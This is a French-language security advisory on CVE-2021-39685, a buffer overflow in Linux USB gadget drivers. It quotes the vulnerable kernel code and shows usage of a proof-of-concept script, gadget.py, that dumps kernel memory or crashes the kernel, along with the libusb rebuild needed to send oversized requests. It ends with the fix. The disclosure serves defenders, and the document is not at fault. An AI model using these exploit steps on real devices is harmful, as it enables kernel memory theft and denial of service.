
CVE-2021-39685 Description et exemple d'exploit pour la vulnérabilité de débordement du Linux USB Gadget
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Un attaquant peut accéder à la mémoire du noyau en contournant les limites valides des tampons en exploitant l'implémentation des gestionnaires de requêtes de contrôle dans les gadgets USB suivants : rndis, hid, uac1, uac1_legacy et uac2. Le traitement des requêtes de transfert de contrôle malveillantes avec une taille wLength anormalement grande ne vérifie pas que cette valeur ne dépasse pas la taille du tampon. De ce fait, il est possible de lire et/ou d'écrire (selon le cas) jusqu'à 65 ko de mémoire du noyau.
Certains chemins d'exécution des gestionnaires de transfert de contrôle USB des gadgets tels que rndis, hid, uac1, uac1_legacy et uac2 ne gèrent pas correctement la longueur de la requête (wLength). Cette valeur doit être limitée à la taille du tampon pour éviter les vulnérabilités de débordement de tampon lors de la phase de transfert de données.
Le tampon utilisé par le point d'extrémité 0 est alloué dans composite.c avec une taille de USB_COMP_EP0_BUFSIZ (4096) octets, donc définir wLength à une valeur supérieure à USB_COMP_EP0_BUFSIZ entraînera un débordement de tampon.
Par exemple, dans le cas de f_uac1.c, l'exécution de la fonction f_audio_setup permet d'effectuer des lectures et des écritures au-delà des limites du tampon. Ni f_audio_setup ni aucune des fonctions appelées - audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in - ne limitent la valeur de retour à une taille inférieure à celle du tampon. Par conséquent, la phase de transfert de données utilise req->length = value = ctrl->wLength qui est contrôlé par l'attaquant. Cela permet de lire ou d'écrire jusqu'à 65 ko de mémoire du noyau selon la direction du transfert de contrôle.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
L'exécution de l'exploit de lecture d'exemple permet de vider jusqu'à 65 ko de mémoire.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
D'autre part, l'exécution de l'exploit d'écrasement permet d'écrire des données arbitraires au-delà des limites attendues du tampon.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
De même, dans le cas du gadget rndis, la fonction rndis_setup peut être exploitée pour écrire au-delà des limites du tampon en utilisant une requête de transfert de contrôle avec la direction out, le type class, le récepteur interface et bRequest défini sur USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Chemins d'exécution vulnérables :
Les dispositifs implémentant les classes de gadgets USB affectées (rndis, hid, uac1, uac1_legacy, uac2) peuvent être affectés par des vulnérabilités de débordement de tampon entraînant une divulgation d'informations, un déni de service ou l'exécution de code arbitraire dans le contexte du noyau.
Limiter la taille de la phase de transfert à min(len, buffer_size) dans les gestionnaires de requêtes de contrôle concernés afin de garantir qu'aucun débordement de tampon ne se produise.
L'émission de requêtes de transfert de contrôle avec wLength supérieur à la valeur standard de 4096 octets nécessite que l'hôte utilise une version personnalisée de libusb avec MAX_CTRL_BUFFER_LENGTH augmentée à 0xffff. Cette valeur peut être modifiée dans libusb/os/linux_usbfs.h avant la compilation.
Le script gadget.py nécessite pyusb. Vous pouvez installer ce paquet via pip comme ci-dessous.
python3 -m pip install pyusb
L'aide peut être consultée avec les paramètres -h ou --help.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Exemples d'invocations :
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Veuillez mettre à jour votre noyau vers la dernière version stable.